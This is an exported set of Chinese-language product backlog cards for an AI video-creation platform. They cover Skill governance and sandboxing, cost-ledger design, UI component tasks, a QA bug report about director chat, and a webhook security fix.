描述： \*\*Wave S 治理卡\*\*：Skill 本身是要治理的資產。註冊表 + 三級信任 + 權限放行流程。 ## 範圍 \* \*\*Skill 註冊表\*\*：已安裝 Skill 的清單 (id、版本、來源、trust 級別、已授權限)。 \* \*\*三級信任\*\*： \* 官方 — 全權限 (S-2 影片集)。 \* 已審核 — 團隊 review 過，可申請特定 connectors/materials 權限。 \* 未審核·社群 — 沙箱、零內部資料，需人工放行才升級。 \* \*\*權限放行 UI\*\*：安裝/升級時顯示「這個 Skill 要哪些權限」，Admin 逐項放行 (接 AIDV-121 權限邊界)。 \* \*\*管理操作\*\*：啟用/停用/移除/升降信任級別；全程留 AIDV-123 稽核。 \* 誰能建/改/分享 Skill：接 AIDV-121。 ## 完成定義 \* 可安裝、列出、授權、停用 Skill；信任級別決定預設權限上限。 \* 一般成員無法自行把社群 Skill 升成全權限 (需 Admin 放行)。 ## 關聯 依賴 S-1 (AIDV-126)；接 AIDV-

程式碼錨點：(碼中無 AIDV-129 註記)

## AIDV-130 S-5 Skill 成本歸屬 (依 skillId 落帳，疊在 AIDV-14 上)

故事 · Backlog · 優先 Medium · 父卡 AIDV-125 · labels cost,internal,skill-system,wave-s

描述： \*\*Wave S 成本卡\*\*：在 AIDV-14 (內部成本歸屬：依專案/成員/工作流落帳) 上\*\*再加一維「依 Skill 落帳」\*\*，知道哪個 Skill 最燒錢、哪個外部 Skill 用量異常。 ## 範圍 \* 每次 Skill 執行的 API 成本歸屬到 `skillId@version` (疊在 AIDV-14 的 project/member/workflow 維度上)。 \* 報表：依 Skill 彙總成本、次數、平均成本、成功率。 \* 異常標記：外部/社群 Skill 成本飆高可被看見 (接 S-6 沙箱資源上限、AIDV-124 配額)。 ## 完成定義 \* cost\_aggregations 可依 skillId 維度查詢。 \* 一條多 Skill 工作流可拆出每個 Skill 各花多少。 ## 關聯 依賴 AIDV-14 (成本歸屬資料源)、S-1 (AIDV-126 contract 的 cost.attributeTo)；接 AIDV-124 配額、S-6 沙箱資源限制。

連結資料表 (1)：cost\_aggregations

程式碼錨點：(碼中無 AIDV-130 註記)

## AIDV-131 S-6 外部/社群 Skill 沙箱 (資料隔離 + 資源上限) + 供應鏈安全 (pin/重審)

故事 · Backlog · 優先 High · 父卡 AIDV-125 · labels internal,sandbox,security,skill-system,wave-s

描述： \*\*Wave S 信任邊界卡 (外部 Skill 在範圍內 -> 升為核心，非 bolt-on)\*\*：外部/社群 Skill = 跑別人寫的東西、可能碰內部資料，這是最該先設計好的邊界。 ## 執行模型 (已拍板) \* `kind=declarative`：只組 prompt + provider + 已授權連接器，\*\*不跑任意程式碼\*\* (涵蓋多數需求，最安全)。 \* `kind=sandboxed`：受限程式碼，跑在沙箱：\*\*無網路、無檔案系統、限時、限記憶體、只能呼叫白名單 API\*\*。

MCP (能自己連網/連服務) 一律走既有 BYOMCP (Wave 4) \*\*，不在本卡重做容器隔離。 ## 範圍 \* 完整 runtime：資源上限 (CPU/記憶體/時間)、無對外網路、無檔案系統、syscall/能力白名單。 \* 資料隔離：外部 Skill \*\*預設零內部資料\*\*，只見本次顯式輸入；越權存取被沙箱擋下 (雙重保險：S-4 權限 + 沙箱)。 \* \*\*供應鏈\*\*：來源 manifest 驗證、\*\*pin 版本\*\*、更新若要求新權限->\*\*重新

程式碼錨點：(碼中無 AIDV-131 註記)

## AIDV-132 退役 runtime SchemaEnsure 動態補 schema -&gt; 改 pre-deploy migration + expand-and-contract

故事 · Backlog · 優先 Medium · 父卡 AIDV-55

描述： \*\*來源\*\*：2026-06-16 程式碼稽核 + 技術對標研究。 \*\*問題\*\*：repo 目前以 runtime SchemaEnsure (`server/services/agentPreferencesSchemaEnsure.ts`) 在 app 啟動時動態補 schema，作為「環境先部署 schema.ts、migration 尚未套用」的保險。`server/\_core/index.ts` 啟動內建 `runMigrations()` + runtime 動態補 schema = 兩層補丁在掩蓋部署順序競態，業界視為反模式。 \*\*目標\*\*：退役 runtime 動態補 schema，改回正規部署流程。 \*\*範圍／驗收\*\* \* migration 改為\*\*部署前獨立步驟\*\* (Railway pre-deploy hook 或 CI)，migration 成功才部署新 app。 \* app 啟動只做 \*\*fail-fast 檢查\*\*：偵測到 pending migration 即拒絕啟動，不在 runtime 補 schema。 \* sche

Migration 編號：0071, 0074

程式碼錨點：(碼中無 AIDV-132 註記)

## AIDV-133 刪除舊 UI 路徑 (strangler Eliminate 階段)

故事 · Backlog · 優先 Low · 父卡 AIDV-74

描述： \*\*來源\*\*：2026-06-16 技術對標研究 (strangler-fig 模式)。 \*\*為什麼\*\*：四殼一脊椎以 `ENABLE\_4SHELL` + strangler-fig 漸進取代舊 UI。strangler 模式最大陷阱是「只加新、永不刪舊」，最後變成新舊兩套系統永久共存。此卡確保完成最後的 \*\*Eliminate (刪除)\*\* 階段。 \*\*範圍／驗收\*\* \* 待全殼採用完成、`ENABLE\_4SHELL` 在 prod 預設 ON 並穩定一段時間後執行。 \* 移除舊路徑 (`shellRouteTable` 中 LEGACY\_REDIRECTS shadow 的舊 route) 與其專屬元件／程式碼。 \* 先以 log／監控確認無流量走舊路徑，才實際刪除。 \* 移除過渡期的旗標分支與相容導向，收斂路由表 (避免路由層膨脹成新 monolith)。 \*\*前置\*\*：U-2 逐殼採用 + 核心三殼 (U-5/U-6/U-7) + U-15 全站驗收完成；`ENABLE\_4SHELL` 預設 ON。 \*\*排程\*\*：Wave U 收尾的最後一步 (依 Br

程式碼錨點：(碼中無 AIDV-133 註記)

AIDV-134 U-4a 脊椎 chrome : ProjectSwitcher 展開 (專案清單 + Context Packet 重建)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94 為 8 元件粗卡，本卡為其中一件可追蹤拆項)。 \*\*畫面\*\*：`.projpill` 收合 -> 展開固定浮層`.card`；群組標題 + 每列專案 (emoji / 名 / `type` · N 鏡 · N 角色)，作用專案高亮 + check；底「+ 開新專案」。Context Packet token meter + TTL + lock。 \*\*真實接點\*\*：`creativeProject.list/create/get`；切換 -> 重新 `contextPacket.compileProject`。 \*\*狀態\*\*：`closed/open/空` (無專案只剩開新專案) / 長清單捲動。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；過 \*\*AIDV-103\*\* 設計門自檢 + \*\*AIDV-118\*\* (U-15) 全站四態/RWD/a11y 驗收。 \*\*設計來源\*\*：殼層規格 §3.3 + `theme.css .projpill` + `\_reference原型`。Rail/TopB

程式碼錨點：(碼中無 AIDV-134 註記)

AIDV-135 U-4b 脊椎 chrome : ProviderChip 下拉 (hf/gemini/fal/mock + 健康狀態)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94)。 \*\*畫面\*\*：`.provchip` provider = hf/gemini/fal/mock；`ok` (綠點) / `down` (紅點 + 發光環)；點擊 -> `/settings/provider`。下拉列出四 provider + 成本 (hf .012/gemini .020/fal .040/mock 0) + 切換。 \*\*狀態\*\*：ok/down/切換中。手機 ≤780`.hideSm` 收起。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；過 \*\*AIDV-103\*\* 設計門 + \*\*AIDV-118\*\* (U-15) 驗收。 \*\*設計來源\*\*：殼層規格 §3.4 + `theme.css .provchip` + `\_reference原型`。屬 U-4 (AIDV-94)。

程式碼錨點：(碼中無 AIDV-135 註記)

AIDV-136 U-4c 脊椎 chrome : CommandPalette CmdK (前往/代理/切專案/Provider/主題 + 鍵盤)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94)。 \*\*畫面\*\*：`.cmdk` 命令面板。開 = `Cmd/Ctrl+K`；關 = `Esc` 或點遮罩。鍵盤：`↑/↓` 移動`.sel`、`↵` 執行。分組： \*\*前往\*\* (首頁/影片/社群/學習/設定) \*\*代理動作\*\* (排程生成所有就緒鏡/重建 Context Packet/研究 i2v 一致性/自訂 workflow) \*\*切換專案\*\*\*生成 Provider\*\*\*主題\*\*。

\*\*狀態\*\*：default/empty (查無指令「找不到指令 · 試試…」)。

\*\*a11y\*\*：`role="dialog" aria-modal`；輸入`aria-label`；列`role="option" aria-selected`；focus trap。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；過 \*\*AIDV-103\*\* 設計門 + \*\*AIDV-118\*\* (U-15) 驗收。 \*\*設計來源\*\*：殼層規格 §3.5 + `theme.css .cmdk` + `\_refer`

程式碼錨點：(碼中無 AIDV-136 註記)

AIDV-137 U-4d 脊椎 chrome : Toasts (ok/warn/bad/info + auto-dismiss + a11y)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94)。 \*\*畫面\*\*：`.toasts` / `.toast`。`kind` = ok/warn/bad/info；右下滑入；4.8s 自動消失；點擊關閉。典型：生成成功 (-N 積分) / 自動回退 provider (`hf -> gemini`) / 生成失敗 (HTTP/錯誤碼) / 積分不足/管理回饋。 \*\*a11y\*\*：`aria-live="polite"`；可點關。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；過 \*\*AIDV-103\*\* 設計門 + \*\*AIDV-118\*\* (U-15) 驗收。 \*\*設計來源\*\*：殼層規格 §3.6 + `theme.css .toast` + `\_reference原型`。屬 U-4 (AIDV-94)。

程式碼錨點：(碼中無 AIDV-137 註記)

AIDV-138 U-4e 脊椎 chrome : MobileNav (≤780 底部 5 籤 + 中央光球 FAB)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94)。 \*\*畫面\*\*：`.mnav` 手機 ≤780 底部列：影片/社群(flag) / [中央 clay 光球 FAB -> CmdK] / 學習(flag) / 設定；作用`.on` clay；FAB 上浮 -24。對應 RWD：≤780 隱藏 Rail -> 出`.mnav`，底留 96px，toasts 移 nav 上。 \*\*狀態\*\*：各殼作用態；flag off 不渲染對應籤。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；與 Rail 共用四殼定義；過 \*\*AIDV-103\*\* 設計門 + \*\*AIDV-118\*\* (U-15) RWD 驗收。 \*\*設計來源\*\*：殼層規格 §3.7 + §5 RWD + `theme.css .mnav` + `\_reference原型`。屬 U-4 (AIDV-94)。

程式碼錨點：(碼中無 AIDV-138 註記)

AIDV-139 U-4f 脊椎 chrome : StateInspector (四態演示切換，可上線隱藏)

故事 · 完成 · 優先 Low · 父卡 AIDV-74

描述：脊椎 chrome 拆項 (U-4/AIDV-94)。 \*\*畫面\*\*：`.inspector` 狀態檢視 strip (演示用)。

`.Seg`：自動/空狀態/載入中/成功/錯誤——強制切換主資料區四態，供交付/驗收用；正式上線可隱藏。 \*\*用途\*\*：與 \*\*AIDV-118\*\* (U-15 全站四態驗收) 直接搭配——用它逐殼逐頁切四態查核。 \*\*一致性\*\*：綁 design-kit`.aidv-kit` token；過 \*\*AIDV-103\*\* 設計門 + \*\*AIDV-118\*\* (U-15) 驗收。 \*\*設計來源\*\*：殼層規格 §3.8 + `theme.css .inspector` + `\_reference原型`。屬 U-4 (AIDV-94)。優先序低 (演示工具，可最後做)。

程式碼錨點 (4)：

- client/src/components/design-kit/StateInspector.tsx:3
- client/src/components/design-kit/stateInspectorFlags.ts:4
- client/src/components/design-kit/StateInspector.test.tsx:3
- client/src/components/design-kit/StateInspector.test.tsx:14

AIDV-140 U-AUDIT 完整 UI/UX + 資料層連結 體檢與整改 (非技術創作者北極星)

故事 · Backlog · 優先 High · 父卡 AIDV-74

描述： \*\*北極星\*\*：非技術創作者能否順暢把作品做出來。 \*\*範圍\*\*：現有網站介面層 UI/UX + 資料層/後端連結。證據指向 repo 檔:行 (HEAD f493f5d, 2026-06-17 掃描)。 ## A. 介面層 UI/UX ### [PO] 高 \*\*A1 假資料偽裝成真\*\* | `client/src/shells/AidvOrbMount.tsx:66` 自標「分頁資料為視覺示範，尚未接真實來源」。光球數字/狀態是假 -> 一旦被發現，產品可信度崩。修：接真來源，或假資料一律打「示範」徽章。(根因見 B1) \*\*A2 開發術語洩漏給非技術用戶\*\* | ProviderChip 顯示`hf / fal flux-pro / Mock`；切換 toast = `GENERATION\_PROVIDER` = mock` (env-var 風格大寫)。修：provider 人話化 (快速/標準/高品質/測試+圖示)、toast 改「已切換到 高品質生成」、`Mock` 收 dev-only。 -> 併入 AIDV-135 \*\*A3 /video cockpit 面積過載

程式碼錨點：(碼中無 AIDV-140 註記)

## AIDV-141 U-SOP Figma 設計系統建置 (SOP v1) 追蹤 | S1–S7 對齊

故事 · Backlog · 優先 Medium · 父卡 AIDV-74

描述：對齊 Figma 設計系統 SOP (SOP v1) 與 Jira。每站狀態 + 對應卡。Figma 檔：<https://www.figma.com/design/mUotf6jF43aVvZtEchb2At> | 站 | 內容 | 狀態 | 對應卡 | | --- | --- | --- | --- | | \*\*S1 Tokens\*\* | `AIDV/tokens` : 35 色 + 7 圓角, scoped, Light 模式 | [完成] 已建 (42 變數) | 本卡 / AIDV-91 (code tokens) | | \*\*S2 Styles\*\* | 9 text ramp (Fraunces/Inter/IBM Plex Mono) + 4 shadow | [完成] 已建 | 本卡 | | \*\*S3 Atoms\*\* | btn/tag/pill/dot/meter/kbd 綁變數 | 待做 | U-SOP-3 | | \*\*S4 Chrome\*\* | 8 脊椎元件 + variants (含體檢 A2/A5/A6 修正) | 進行 | AIDV-94 + A

程式碼錨點：(碼中無 AIDV-141 註記)

## AIDV-142 U-SOP-3 atom 元件庫 (綁變數) | btn/tag/pill/dot/meter/kbd

故事 · 完成 · 優先 Medium · 父卡 AIDV-74

描述：建 design-kit 原子元件，\*\*全部綁\*\* `AIDV/tokens` 變數 (禁硬值)。屬 SOP S3, AIDV-141 追蹤。 \*\*範圍與 variants\*\* \* \*\*Button\*\* | `tone=clay / ghost / quiet` × `size=md / sm` ; 綁 `clay`/`on-clay`/`radius/btn` ; focus-visible clay 光環。 \* \*\*Tag/Chip\*\* | `tone=neutral / ok / warn / bad / info` ; 綁 `semantic/\*` + tint ; `radius/tag`。 \* `\*Pill (projpill)` | 綁 `clay-tint`/`gold-tint` 漸層、`radius/btn`。 \* `\*Dot (狀態點)` | `state=ok / down / idle` ; 綁 `semantic/\*` + ring。 \* `\*Meter (context packet 用量條)` | track/fill ; 綁 `surf`

程式碼錨點 (8)：

- client/src/components/design-kit/atoms.tsx:2
- client/src/components/design-kit/atoms.test.tsx:3
- client/src/components/design-kit/atoms.test.tsx:25
- client/src/components/design-kit/atoms.test.tsx:42
- client/src/components/design-kit/atoms.test.tsx:61
- client/src/components/design-kit/atoms.test.tsx:77
- client/src/components/design-kit/atoms.test.tsx:96
- client/src/components/design-kit/atoms.test.tsx:115

## AIDV-143 U-SOP-7 回流 code | Code Connect 映射 + Variables->tokens.ts 匯出

故事 · Backlog · 優先 Low · 父卡 AIDV-74

描述：把 Figma 設計系統雙向接回 repo, 使設計改動可追、token 同步。屬 SOP S7, AIDV-141 追蹤。 1. \*\*Code Connect\*\* | 每個 `AIDV/chrome/\*`、`AIDV/atoms/\*` 元件 -> 對應 `client/src/components/...`, 產 `figma.ts` 映射 (設計->程式可追)。 2. \*\*Token 匯出\*\* | Figma Variables (`AIDV/tokens`) -> `client/src/.../tokens.ts`, 對齊 `theme.css :root`, 雙向同步。 3. \*\*PR\*\* | 每站合一 PR, 掛 Jira 卡號。 \*\*驗收\*\* : `tokens.ts` 與 Figma 變數一致 (CI 檢查) ; 改 Figma 變數->匯出->code 連動 ; Code Connect 在 Dev Mode 可見對應程式。 \*\*關聯\*\* : AIDV-141 (SOP)、AIDV-92 (設計套件元件採用)、AIDV-140。

程式碼錨點：(碼中無 AIDV-143 註記)

## AIDV-144 U-9 Phase 2 : PromptVaultAdoption 掛載進 /video /social (接生成->存庫->重用閉環)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2, uiux, wave-u

描述： \*\*承接 AIDV-99 (PR #918 已合併 main) \*\* : U-9 的可重用 `PromptVaultAdoption` 閉環元件 (`client/src/components/promptVault/`) 已建+測+合併, 但\*\*尚未掛進任何殼\*\*。 \*\*本卡範圍 (Phase 2) \*\* : 把 `PromptVaultAdoption` wiring 進 /video 與 /social 創作流程, 使「生成->存庫->重用」在兩殼實際可用。 \*\*重用\*\* : 既有 `usePromptVault` 資料層、design-kit PromptVault 純元件 ; 旗標 `PROMPT\_VAULT\_ADOPTION` (受殼層 `ENABLE\_PROMPT\_VAULT` 節制)。 \*\*驗收\*\* : /video /social 可從生成結果一鍵存庫、從庫重用 ; 四態齊 ; 旗標 OFF = 零變化 ; tsc/routes/navigation/vitest 綠。 \*\*注意\*\* : 碰既有 /video /social 殼 = 跨軌, 施工前確認與當時 /video、/social 軌 own

PR : #918

程式碼錨點：(碼中無 AIDV-144 註記)

## AIDV-145 U-13 Phase 2 : teams 元件掛載進 /learn/teams 路由 + 接 teams.\* 真實資料

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2, uiux, wave-u

描述： \*\*承接 AIDV-116 (PR #918 已合併 main) \*\* : greenfield 團隊協作視覺 (`client/src/components/teams/` : TeamCard/MemberRow/DivisionBoard/TeamsBoard) 已建+測+合併, 但\*\*尚未掛進 /learn/teams 路由、仍吃 mock\*\*。 \*\*本卡範圍 (Phase 2) \*\* : 把 TeamsBoard 掛進 /learn 的 teams 頁 / 路由, 接既有 `teams.\*` (create/list/get/members/addMember/removeMember/leave/delete) 真實資料 ; presence/分工看板持久化標待接。 \*\*驗收\*\* : /learn/teams 顯示真實團隊/成員/角色/共享/看板 ; 四態 + 權限態 + RWD + a11y ; 旗標 `TEAMS\_COLLAB` OFF = 零變化。真實 RBAC 仍依 AIDV-121。

PR : #918

連結資料表 (1) : teams

程式碼錨點：(碼中無 AIDV-145 註記)

## AIDV-146 U-14 Phase 2 : FlowTvOverlay 掛載進 /video /social + 接 promptLibrary 真實放映

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2, uiux, wave-u

描述： \*\*承接 AIDV-117 (PR #918 已合併 main) \*\* : greenfield `FlowTvOverlay` 全屏放映皮 (`client/src/components/flow-tv/`) 已建+測+合併, 但\*\*尚未掛進任何殼、仍吃 mock items\*\*。 \*\*本卡範圍 (Phase 2) \*\* : 把 FlowTvOverlay 掛進 /video /social 的提示庫放映入口, 接 `promptLibrary.list/listPublic/getById/incrementUseCount` + `generate.recordGenResult` 真實資料 ; 一鍵重用/fork 接 U-9。 \*\*驗收\*\* : 從 /video /social 開全屏放映、左右切換真實提示、Esc 退出、一鍵重用 ; 四態 + a11y + reduced-motion ; 旗標 `FLOW\_TV` OFF = 零變化。

PR : #918

連結資料表 (1) : prompt\_library

程式碼錨點：(碼中無 AIDV-146 註記)

AIDV-147 U-10 Phase 2 : landing 門面元件掛載進首頁 page (走查後上線)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2,uiux,wave-u

描述： \*\*承接 AIDV-119 (PR #918 已合併 main) \*\* : greenfield 首頁 landing 門面元件 ( `client/src/components/home/` : LandingHero/LandingIconSet/LandingCalmOrb) 已建+測+合併,但\*\*尚未掛進首頁 page\*\*。  
\*\*本卡範圍 (Phase 2) \*\* : 把 landing 門面掛進首頁 page (碰既有 home page), 旗標 `LANDING\_KV`/`LANDING\_CALM\_ORB` (預設 ON + env `=0` 退路) ; 登入畫面不動 (AIDV-93 cosmic 保留) 。 \*\*驗收\*\* : 首頁顯示亮色暖光 KV + icon set + calm orb ; `VITE\_LANDING\_KV=0` 秒回滾 ; reduced-motion 靜止 ; tsc/routes/navigation/vitest 綠。上線前 Bruce 走查。  
PR : #918  
程式碼錨點： (碼中無 AIDV-147 註記)

AIDV-148 U-12 Phase 2 : connectors greenfield 元件與 #917 /settings 版整併決策 + 掛載

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels decision,phase-2,uiux,wave-u

描述： \*\*承接 AIDV-115\*\* : 本卡有兩份實作需整併——(a) PR #917 已把 /settings 連接器治理面板\*\*掛載上線\*\* (5 類, 旗標守門) ; (b) PR #918 另有 greenfield `client/src/components/connectors/ConnectorsPanel` (已建+測+合併但\*\*未掛載\*\*) 。 \*\*本卡範圍 (Phase 2) \*\* : 拍板整併方向——擇一為主、另一退役或合流, 避免兩份連接器面板並存漂移; 把選定版掛載/接 `dataConnections.\*`/`data\_source\_connections`/`project\_data\_access\_rules` 真實資料。  
\*\*驗收\*\* : 站上只有一套連接器治理面板; 真實連線狀態/ACL; 不寫金鑰; 四態 + RWD + a11y. \*\*整併方向建議先與 owner 對齊 (決策) 。 \*\*  
PR : #917, #918  
連結資料表 (2) : data\_source\_connections, project\_data\_access\_rules  
程式碼錨點： (碼中無 AIDV-148 註記)

AIDV-149 U-5 續 : /video 其餘步驟視覺實裝 (世界觀/劇本/分鏡/成片)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2,uiux,wave-u

描述： \*\*承接 AIDV-95 (PR #918 已合併 main) \*\* : U-5 首批採用片已落地「初剪確認門 + 生成四態」 (旗標 `ENABLE\_VIDEO\_GATE\_KIT`) 。六步中尚餘 \*\*S1 世界觀/劇本意圖、S2 分鏡、S6 成片交付\*\* 的 design-kit 視覺實裝。 \*\*本卡範圍\*\* : 續做 /video 其餘步驟畫布的 design-kit 採用 (ShotCard/GateCard/四態/RWD/a11y), 維持旗標 gate、零後端優先。 \*\*驗收\*\* : 六步畫面皆以 design-kit 實裝; 與設計稿一致; 旗標 OFF = 零變化; tsc/routes/navigation/vitest 綠。  
PR : #918  
程式碼錨點： (碼中無 AIDV-149 註記)

AIDV-150 U-6 續 : /social 其餘步驟視覺實裝 (S1-S3-S9)

故事 · Backlog · 優先 Medium · 父卡 AIDV-74 · labels phase-2,uiux,wave-u

描述： \*\*承接 AIDV-96 (PR #918 已合併 main) \*\* : U-6 首批採用片已落地「九步旅程步進指示 S1-S9」 (旗標 `SOCIAL\_JOURNEY\_STEPPER`) 。尚餘各步\*\*內容畫面\*\*的 design-kit 視覺實裝 (理解類型/brief/收集素材/創作/修改/拼接/往返/反覆/完成) 。  
\*\*本卡範圍\*\* : 續做 /social 各步驟畫面的 design-kit 採用 (四態/RWD/a11y), 維持旗標 gate、零後端優先; 需新後端的步 (composeLayout/exportSizes/posting) 另行開卡。 \*\*驗收\*\* : 九步畫面皆以 design-kit 實裝; 與設計稿一致; 旗標 OFF = 零變化; tsc/routes/navigation/vitest 綠。  
PR : #918  
程式碼錨點： (碼中無 AIDV-150 註記)

AIDV-151 接通 Director->Video 斷點 : ScriptSegment[] 自動入 videoGenerationSession 佇列

故事 · Backlog · 優先 Medium · labels gap-closure,wave2

描述： 白皮書缺口 (Part II §3.4、第 17.4/38.1 章) : Director 產生的 ScriptSegment[] 不會自動流到 VideoStudio 生成佇列, 分鏡結果常卡在 director session notes、需手動搬。本卡補「自動串接橋」: 在 creative\_projects 上以 videoGenerationSession 為中介, segment -> 影片任務 -> 結果回寫自動化。 依賴: AIDV-18 (M3 影片段落狀態機)、AIDV-44 (segment/session 狀態機)。 驗收: Director 完成分鏡後, 鏡頭自動出現在 VideoStudio 佇列、可逐鏡生成; 結果寫回 project 時間軸; 全程零手動搬運。 — 來源: 技術白皮書《補全開發計畫 (無缺漏版) 》附錄 G。 — 智能助手  
連結資料表 (1) : creative\_projects  
程式碼錨點： (碼中無 AIDV-151 註記)

AIDV-152 Worldview->Director 自動載入 worldFramework (補半通接縫)

故事 · 完成 · 優先 Medium · labels gap-closure,wave1

描述： 白皮書缺口 (Part II §3.4、第 17.2 章) : Director 未從 active project 自動載入世界框架 (半通) ; 跳過建框架直接寫腳本時, 一致性注入可能漏接。本卡補: Director 流程啟動時自動 loadProjectContext() 帶入 worldFramework。 關聯: AIDV-80 (世界觀自動風格注入生成管線)。 驗收: 綁定專案後 Director 自動帶入世界框架, 後續生成的一致性前綴注入不漏接。 — 來源: 技術白皮書《補全開發計畫 (無缺漏版) 》附錄 G。 — 智能助手  
程式碼錨點 (15) :

- server/services/director/costarService.ts:82
- server/services/director/costarService.ts:97
- server/routers/director.ts:120
- server/routers/director.ts:140
- server/routers/director.ts:153
- server/routers/director.ts:217
- server/routers/director.ts:228
- server/\_\_tests\_\_/director/world-context-injection.test.ts:2
- server/\_\_tests\_\_/director/world-context-injection.test.ts:92
- server/\_\_tests\_\_/director/world-context-gate.test.ts:2
- server/\_\_tests\_\_/director/world-context-gate.test.ts:100

- server/worldbuilding-types.test.ts:161  
- client/src/adapters/commander.trpc.ts:30  
- shared/worldbuilding-types.ts:2180  
- shared/worldbuilding-types.ts:2602

## AIDV-153 成本帳本升級為 append-only 雙分錄 (idempotency + 對帳 job)

故事 · 完成 · 優先 Medium · labels gap-closure,wave2

描述：白皮書對標 (第 29 章)：現況偏「直接 mutate 餘額」、cost\_aggregations 某些路徑偶現 \$0.00。升級為 append-only 雙分錄帳本 (餘額由不可變交易 log 計算) + pending/posted/archived hold 生命週期 + 每步 idempotency key + 對帳 job；扣款／退款放進耐久 worker 保證最終一致。關聯：AIDV-14 (成本可視)、AIDV-13 (耐久佇列)、AIDV-124 (成本配額)、AIDV-130 (Skill 成本歸屬)。驗收：餘額由 log 計算、不直接改餘額；失敗全退最終一致；對帳 job 偵測 drift；cost\_aggregations 不再 \$0.00。 — 來源：技術白皮書《補全開發計畫 (無缺漏版)》附錄 G。 — 智能助手

連結資料表 (1)：cost\_aggregations

程式碼錨點 (8)：

- server/jobs/costLedgerReconcileJob.test.ts:2  
- server/jobs/costLedgerReconcileJob.ts:2  
- server/jobs/costLedgerReconcileJob.ts:5  
- server/services/cost/ledger.test.ts:2  
- server/services/cost/ledger.ts:2  
- server/routers/brainPipeline.ts:1232  
- server/\_core/env.validated.ts:607  
- server/routes/aiProxy.ts:523

## AIDV-154 多語／在地化 (i18n)：UI 文案與四態引導抽出可翻譯資源

故事 · Backlog · 優先 Medium · labels gap-closure,wave-u

描述：白皮書缺口 (第 17.5／39 章)：四態文案與引導目前以中文為主，對非中文創作者引導有限。本卡導入 i18n 架構，把 UI 文案抽成可翻譯資源、支援語言切換。驗收：至少中／英雙語可切換；四態與引導文案走 i18n 資源；新增語言不需改元件碼。 — 來源：技術白皮書《補全開發計畫 (無缺漏版)》附錄 G。 — 智能助手

程式碼錨點：(碼中無 AIDV-154 註記)

## AIDV-155 局部編輯／inpaint 統一 UI (框選區域局部重生，不重生整鏡)

故事 · Backlog · 優先 Medium · labels gap-closure,wave3

描述：白皮書缺口 (第 18.3 章)：跨鏡「只改畫面某區域」目前靠各模型自身 inpaint 能力，缺系統層統一的局部編輯 UI。本卡在 ShotCard／AssetGen 提供統一遮罩局部重繪入口 (mask -> inpaint)，整合既有 fal／replicate inpaint 模型。驗收：可框選區域局部重生、其餘畫面不動；保持同 seed 一致；四態齊。 — 來源：技術白皮書《補全開發計畫 (無缺漏版)》附錄 G。 — 智能助手

程式碼錨點：(碼中無 AIDV-155 註記)

## AIDV-156 本機開發環境一鍵 bootstrap 納入 repo (docker-compose／.env 範本／setup)

故事 · 完成 · 優先 Medium · labels gap-closure,tooling

描述：白皮書缺口 (Part IV／工程衛生)：repo 原無 docker-compose、本機 .env 範本、一鍵安裝腳本。已於工作資料夾備妥 dev-environment 包 (MySQL+Redis compose、.env.dev.example、setup.ps1／setup.sh、Makefile、README)。本卡將其正式納入 repo，讓新環境一鍵起。驗收：repo 內 dev-environment／可一鍵起 MySQL (+Redis 先備)、建 .env、跑 migration、npm run dev；README 步驟可重現。 — 來源：技術白皮書《補全開發計畫 (無缺漏版)》附錄 G (dev-environment 包)。 — 智能助手

程式碼錨點：(碼中無 AIDV-156 註記)

## AIDV-157 [QA探查] 導演對話送出訊息回 500「Conversation not found」——核心創作動作壞掉 (專案「2」)

漏洞 · 完成 · 優先 High · labels P1,qa-explore,video

描述：> 由「瀏覽器 QA 探查機器人」實際在 https://director.today/video 模擬創作者操作時發現。嚴重度 \*\*P1 (核心動作壞掉)\*\*。 ## 白話 在影片系統用「導演對話」打字跟導演 AI 講話、按送出後 —— \*\*AI 永遠不會回\*\*、後台直接報 500 錯誤；畫面上雖然有出現一行紅字，但那是給工程師看的英文字串、創作者看不懂，而且送出後畫面還自動捲到一片空白，要手動往上捲才看得到那行錯誤。等於整個「跟導演對話」這個最主要的創作入口是壞的。 ## 重現步驟 1. 進 /video -> 右上專案切換器選專案「2」。 2. 中央切到「導演對話」分頁。 3. 輸入框打字，例如：「我想做一支 30 秒療癒系直排輪短片，主角黃昏在河堤滑行。請幫我把第一鏡的分鏡與鏡頭描述先列出來。」 4. 按送出。 ## 三個疊在一起的問題 1. \*\*【後端 P1】\*\* `POST /api/trpc/director.chat` -> \*\*HTTP 500\*\*。  
Console 連兩筆 `API Mutation Error` TRPCClient

程式碼錨點 (8)：

- server/routers/\_tests\_/orbConversationsLazyCreate.test.ts:2  
- server/routers/\_tests\_/orbConversationsLazyCreate.test.ts:279  
- server/routers/orbConversationsRouter.ts:62  
- server/routers/orbConversationsRouter.ts:402  
- client/src/shells/video/canvas/DirectorChatCanvas.tsx:28  
- client/src/shells/video/canvas/DirectorChatCanvas.tsx:47  
- client/src/shells/video/canvas/DirectorChatCanvas.test.tsx:3  
- client/src/shells/video/canvas/DirectorChatCanvas.test.tsx:65

## AIDV-158 [資安巡檢C1] FAL webhook 缺 per-job token + 密鑰未設時 fail-open (/api/webhook/fal)

漏洞 · 完成 · 優先 Medium · labels auto-patrol,secaudit,security,sev-high,webhook

